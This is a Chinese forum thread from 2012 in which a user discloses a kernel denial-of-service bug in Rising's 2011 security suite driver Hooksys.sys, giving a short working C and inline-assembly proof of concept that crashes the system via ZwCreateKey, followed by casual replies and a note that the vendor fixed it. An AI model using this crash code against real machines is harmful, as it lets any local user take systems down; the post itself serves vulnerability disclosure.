瑞星全功能安全软件2011内核拒绝服务漏洞（官方于2012.6.12修复））

显示全部楼层 · 发表于 2012-5-27 08:42:22

本帖最后由 heaven888 于 2012-6-12 21:21 编辑

瑞星全功能安全软件2011是一款集“智能云安全”,智能安全防护,智能杀毒为一体的专业安全软件.

最新版本23.00.63.28(2012-5-27)存在内核拒绝服务漏洞,可导致任意权限用户在安装了瑞星的系统上引发蓝屏.
存在问题的组件：Hooksys.sys
版本：25.0.0.57，CheckSum = 0002ED85, TimeStamp = 4EDDA48B
数字签名仍为2011.12.6

瑞星在NtCreateKey HOOK函数中对ObjectAttributes结构体的参数校验不严格,就将参数传递给内核函数ZwOpenKey,结果引发蓝屏.在未安装瑞星的系统下没有影响.
偏移Hooksys+e27a

测试代码:
      WCHAR fuzz[] = L"xxxx_fuzz_rising";

  HMODULE hlib = LoadLibrary(L"ntdll.dll");
  PVOID p = GetProcAddress(hlib , "ZwCreateKey");

  OBJECT_ATTRIBUTES oba ;
  UNICODE_STRING strname ;
  strname.Buffer = fuzz;
  strname.Length = wcslen(strname.Buffer) * sizeof(WCHAR) ;

  InitializeObjectAttributes(&oba , &strname ,0 , 0,(PVOID)0x80000000);

  __asm{

push 0
   push 0
   push 0
   push 0
   lea eax,oba
   push eax
   push 0
   push 0
   call p

  }

  return 0;

显示全部楼层 · 发表于 2012-5-27 09:39:29

本帖最后由 jinglu 于 2012-5-27 09:40 编辑

顶楼主！

显示全部楼层 · 发表于 2012-5-27 13:04:58

别人都2012了，2011还这得瑟

显示全部楼层 · 发表于 2012-5-27 18:14:49

2011用一年多了没蓝过，现在用2012

显示全部楼层 · 发表于 2012-5-27 18:18:43

楼主好厉害啊，发现了一个漏洞。

不过不知道瑞星会不会修复

显示全部楼层 · 发表于 2012-5-27 18:50:34

已联系官方，感谢星空~

显示全部楼层 · 发表于 2012-5-27 18:53:57

偶用的也是2012了，感觉还行吧

显示全部楼层 · 发表于 2012-5-27 21:10:40

是否安装其他安全软件，我这里目前没有发现LZ这种现象。

显示全部楼层 · 发表于 2012-5-27 21:55:46

支持下，一直没用全功能，改天尝试下。

显示全部楼层 · 发表于 2012-5-28 10:01:35

我安装的瑞星全功能也没发现有什么问题。

[瑞星] 瑞星全功能安全软件2011内核拒绝服务漏洞（官方于2012.6.12修复））

本帖子中包含更多资源

评分

在卡卡论坛发一下吧。